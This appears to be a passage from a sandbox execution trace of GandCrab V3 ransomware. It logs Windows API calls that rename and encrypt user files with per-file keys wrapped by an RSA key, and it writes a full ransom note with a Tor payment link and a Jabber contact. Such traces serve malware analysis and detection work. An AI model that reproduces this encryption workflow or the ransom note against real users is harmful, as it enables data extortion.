	[0112.334] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\credhist.crab")) returned 1
	[0112.334] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.335] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB"
	[0112.335] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB.CRAB"
	[0112.335] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0112.335] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.336] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.336] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.336] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.336] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.336] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.336] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.337] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.337] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.337] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.337] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.337] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.337] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.337] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.338] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.338] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e738) returned 1
	[0112.339] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda76f0) returned 1
	[0112.339] CryptGetKeyParam (in: hKey=0xda76f0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.339] CryptEncrypt (in: hKey=0xda76f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.339] GetLastError () returned 0x0
	[0112.339] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0112.339] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.340] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda74b0) returned 1
	[0112.340] CryptGetKeyParam (in: hKey=0xda74b0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.340] CryptEncrypt (in: hKey=0xda74b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.340] GetLastError () returned 0x0
	[0112.340] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.340] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\credhist.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.340] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.341] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.341] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x1c8, lpOverlapped=0x0) returned 1
	[0112.353] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.353] VirtualAlloc (lpAddress=0x0, dwSize=0x1d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.354] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.354] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffe38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.354] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0x1d0, lpOverlapped=0x0) returned 1
	[0112.354] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.354] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.358] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.371] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.371] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.371] CloseHandle (hObject=0x3f4) returned 1
	[0112.372] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.372] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.373] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.373] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.373] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.373] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.374] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.374] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1
	[0112.374] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1
	[0112.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000"
	[0112.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\"
	[0112.374] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.374] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.374] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.374] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.375] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.375] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.375] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\CRAB-DECRYPT.txt") returned 119
	[0112.375] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.376] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.376] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0112.377] CloseHandle (hObject=0x3f4) returned 1
	[0112.377] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 102
	[0112.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*"
	[0112.378] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda74f0
	[0112.378] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.378] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.378] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.378] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.378] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.378] lstrcmpW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2=".") returned 1
	[0112.378] lstrcmpW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="..") returned 1
	[0112.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="2bee18a0-05e9-4ff8-a362-afe43ec984b0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0"
	[0112.378] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.378] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0") returned 138
	[0112.378] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0") returned 138
	[0112.379] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0") returned 138
	[0112.379] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0") returned 138
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="desktop.ini") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="autorun.inf") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="ntuser.dat") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="iconcache.db") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="bootsect.bak") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="boot.ini") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="ntuser.dat.log") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="thumbs.db") returned -1
	[0112.379] lstrcmpiW (lpString1="2bee18a0-05e9-4ff8-a362-afe43ec984b0", lpString2="CRAB-DECRYPT.txt") returned -1
	[0112.379] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.379] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB") returned 143
	[0112.379] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0")) returned 0x26
	[0112.379] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0", dwFileAttributes=0x26) returned 1
	[0112.380] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.crab")) returned 1
	[0112.381] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.381] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB"
	[0112.381] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB.CRAB"
	[0112.381] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0112.382] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.387] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.387] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.387] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.387] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.387] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0112.387] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.388] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.388] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.388] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.388] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.388] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.389] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.389] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0112.389] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7770) returned 1
	[0112.389] CryptGetKeyParam (in: hKey=0xda7770, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.389] CryptEncrypt (in: hKey=0xda7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.390] GetLastError () returned 0x0
	[0112.390] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.390] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0112.390] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7530) returned 1
	[0112.390] CryptGetKeyParam (in: hKey=0xda7530, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.390] CryptEncrypt (in: hKey=0xda7530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.391] GetLastError () returned 0x0
	[0112.391] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.391] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\2bee18a0-05e9-4ff8-a362-afe43ec984b0.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.391] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.392] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.392] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x1d4, lpOverlapped=0x0) returned 1
	[0112.404] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.405] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
